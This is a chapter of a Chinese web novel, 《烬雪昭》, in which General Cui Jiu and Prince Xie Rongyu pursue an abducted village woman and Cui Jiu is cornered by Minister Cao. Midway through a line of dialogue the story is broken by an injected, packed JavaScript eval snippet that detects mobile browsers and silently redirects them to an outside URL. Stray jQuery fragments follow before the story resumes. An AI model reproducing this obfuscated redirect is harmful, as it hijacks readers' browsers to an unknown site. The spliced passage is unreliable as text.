29. 被做局

作品:《烬雪昭

    崔九与谢容与带领几个玄铁军将士重返客栈,将已故的村长悄然安葬于附近的山头。


    “村长现已安息,少年,你有何打算?”崔九注意到身旁的少年有些茫然无措。


    “我不知道,待我姐姐醒来再与她商议。”


    “那位女子是你姐姐?为何感觉你们并不亲近?”谢容与提出了心中的疑问。


    “她自幼便被父亲卖给邻村的傻子做童养媳,几年前带着一身伤病逃回,回来后又遭村人唾弃,这才与我们一同来到玉京。”少年解释道。


    “所以你也对她避而远之?”崔九语气中带着责备,这样的人让她很是瞧不上。


    “·······”


    崔九见少年低头沉默不语,无言以对,也不好再说什么。她知道他姐姐的困境,正是这世道的不公和人性冷漠的缩影。


    再次回到客栈,却不见少妇与青蜇的踪影,唯有一个残留药渣的空碗与一碗凉透了的白粥静置于桌面。


    “奇怪,明明我们上山安葬之前还在的。”少年焦急的左右踱步。


    “先别急,我们分头去找。”


    在崔九的建议下,众人遂分头行动,将周边区域搜寻殆尽,连附近的山头也未放过。


    崔九与谢容与皆无所获,恰在山底相遇。“你可有法子寻回青蜇?”她思忖着,谢容与与青蜇之间定有某种联络之法。


    谢容与从腰间取出一枚小巧的鸣镝,就地取材,以坚韧的树枝与绳索制成一把简易的弓,随后将鸣镝射向天空。空中顿时划过一阵清脆的响动,周遭的鸟儿也被惊得醒了神,纷纷扇动翅膀飞走。


    崔九略感惊讶,“你竟还随身携带这东西。”


    “夫人莫非以为,这鸣镝仅玄铁军独有?”


    崔九摇头笑笑,谢容与还真是让她看不透,猜不透。


    不一会儿,青蜇自山底另一端跃然而至。


    “殿下,将军。”


    “你这是去了何处?那少妇现在又在何处?”谢容与问道。


    “回殿下,你们上山后,我正欲将煮好的白粥送去给她。然而再上楼时,她已不见了踪影,我只好出来寻。”


    “怎的连个人也看不住。”谢容与面色微正。


    “青蜇该罚。”青蜇说着,从身后取出一截长鞭,欲双膝跪地领受惩罚。


    崔九眼疾手快,将蹲到一半的青蜇扶起身,“现在不是追究责任的时候,找人要紧。”


    青蜇拱手致谢,“我顺着足迹追至山底,却见足迹消失无踪,唯有混乱的马车碾痕。”


    崔九和谢容与一同低头查看,果然脚下有杂乱的马车压线。崔九凭借多年的作战经验分析道:“或许在客栈时,仅一人将人打晕扛走。至山底后,为混淆我们视线,数辆马车同时向不同方向驶去。由此看来,他们至少三人驾马车在山底等候汇合。”


    “无论如何,此事定与曹尚书和苏珩脱不了干系。只要沿着他们的线索追寻,必能找到那少妇的下落。”谢容与笃定道。


    崔九点头赞同,却有一事令她百思不得其解,“他们为何要劫走一个尚在病中的妇人?”


    “恐怕,他们是想将疫症蔓延至玉京之事公之于众,引发百姓恐慌,从而促使圣上降罪于你。”


    崔九恍然,从这几位外乡人离开长福村,成功进入玉京城,再到今日少妇被人劫走,对方的意图从始至终只有一个,就是将她置于被动之地,打压至无法翻身。


    “这盘棋,怕是早在我回京之前便已布下。”崔九沉声道。


    “玄铁军经你十年悉心训练,已然强大无匹,不逊于江侯在世之时,自然朝中人人忌惮。何况你女子身份已然明朗,更使你成为众矢之的。”提及江侯,谢容与特别留意崔九的情绪,唯恐她陷入悲痛之中。


    然而,谢容与的担忧似乎是多余的。崔九并未表现出任何异常,反而异常冷静。“这样吧,你们先回府,我回军营。朔风今晨来信,玉京已有感染者十余人,军医正在秘密治疗。我本想与你商议此事,如今看来,他们的意图已是昭然若揭。”


    “好,你多加小心,我在家等你。”


    天空逐渐被乌云笼罩,狂风肆虐,光秃秃的树枝被风吹的左右撕扯。


    崔九疾步回到军营,只见朔风与军医正在她的营帐外等候。崔九心急如焚,尚未进入营帐便迫不及待地询问:“情况如何?那些感染者的病情可有好转?”


    军医躬身,道:“回将军,由于发现及时,大多数感染者的病情已有所好转。但个别年长者和年幼者由于身体较弱,可能还需些时日才能康复。”


    “年长者和年幼者各有几人?”崔九继续追问,关切之情溢于言表。


    朔风补充道:“年长者一人,年幼者两人。”


    “军医,还需辛苦你费费心,多照料几日。”


    “将军言重了,能为将军分忧是老夫的荣幸。我这就回去继续诊治,竭尽所能帮助他们康复。”


    待军医离去后,崔九与朔风一同步入营帐。崔九神情凝重坐在椅子上,沉声道:“那位来自长福村的少妇被人劫走了。”


    朔风闻言震惊不已,“何人所为?”


    “我们猜测是曹尚书与苏珩所为,但目前尚无确凿证据。”崔九眉头紧锁。


    “今日恰逢我们的暗桩传递消息的日子,看时辰应该快到了。”


    每隔三日,崔九安插在各处的暗桩便会定时向她传递消息,风雨无阻,雷打不动。


    果不其然,暗桩的消息如期而至。


    “在城西!”崔九合上手中字条,迅速起身与朔风一同前往城西。


    与此同时,「久居」府邸。


    谢容与自客栈归来后,蕊儿便一直缠在他身旁。她擅用那娇滴滴的嗓音不断撒娇,“殿下昨日一句话也没说,撂下蕊儿就走,也不知姐姐究竟出了何事,让蕊儿好生担忧。”


    蕊儿将头埋入谢容与的胸膛,谢容与双目微闭,眉头紧蹙,两手悬于身体两侧,虽心生嫌弃却并未强行推开。


    “无甚大事,你无需多虑。”谢容与淡然回应,话语间带着疏离与不耐。


    蕊儿依旧娇嗔不休,继续纠缠道:“姐姐为何未与殿下一同回来?”


    “你这是在向本殿打探


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650707|168659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何事?”谢容与神色一凛。


    蕊儿被谢容与的表情所慑,收回了先前勾人的眼神,尴尬地笑了笑,“哪里是打探,咱们都是一家人,姐姐两日未回府,蕊儿只是有些担心姐姐罢了。”


    谢容与冷漠地推开蕊儿,径直步入书房。他轻叩案几,青蜇随即翻窗而入。


    “夫人仍在军营?”


    “据我们的人来报,将军与她的副将目前正前往城西。”


    谢容与眼神游移,陷入深思。他的脑海中不断闪现“城西”二字,突然灵光一现。“你之前是否与本殿提及过,曹尚书在城西有一处废弃的宅子?”他追问道。


    青蜇仔细回忆后答道:“不错,曹女进府之前,你曾命我调查曹尚书,他在城西确实拥有一处废弃的宅子。”


    谢容与此刻已然确信,那被劫走的少妇定然身处城西曹尚书的废宅之中。


    “你去暗中盯着,若有异动,即刻传信于本殿。”


    “是。”


    城西,曹尚书的废宅。


    崔九与朔风快马加鞭赶至此处,宅子地处偏僻,虽为废宅,却四处皆有人看守。


    “将军,我来引开他们,您进去救人。”朔风低声道。


    崔九微微颔首,示意行动开始。两人共战多年,默契十足,无需多言便已心领神会。朔风先是抛出石子于院中制造响动,再留给他们背影翻身到别处,吸引他们的注意。而崔九则伺机而动,准备潜入宅中救人。


    崔九在宅中逐一排查,屋内均不见有人影。终于在一个角落里的偏房,找到了被捆绑在床上的少妇。


    “别害怕,我来救你了。”崔九迅速上前,为她松绑。


    “崔将军,你果真来了。”


    曹尚书的声音突然在门口响起。崔九先是一惊,随即站直身子,冷静地盯着曹尚书,“你将她绑来,便是为了引我到此?”


    “崔将军未免小觑了曹某。”他微微一笑,缓步踏入屋内。“我乃是奉旨捉拿将军。”


    崔九微微侧头,难以置信地看着他,“捉拿我?奉谁的命?”


    “自然是陛下。你办事不力,身为协办却未能控制疫情舆情,任由外乡人携带疫症入城,致使玉京百姓染病,舆论哗然。圣上闻之震怒,特命我前来捉拿将军。”他的笑容中透着不怀好意的奸诈。


    “陛下怎会命你前来?苏珩呢?”崔九继续追问。


    “苏相身体抱恙,在家中休养。是我主动请缨,前来执行。”


    “苏珩的病来得还真是时候,只可惜你今日带不走我。陛下那里,我自有交代。”崔九说着,手已悄然探向腰间。


    曹尚书见状,冷笑道:“我深知手下之人皆非将军对手,但他却不同。”他目光转向身后,只见那外乡少年被他的手下押解而来。


    少年惊恐呼喊:“阿姐,将军,救我!”


    床上的少妇顿时慌张起来,她紧紧拉住崔九的手,泪流满面地跪在床上恳求道:“将军,求您救救他!”她的眼神中充满了绝望与无助,让崔九左右为难。


    “好,我跟你走,你放了他们。”崔九只好妥协。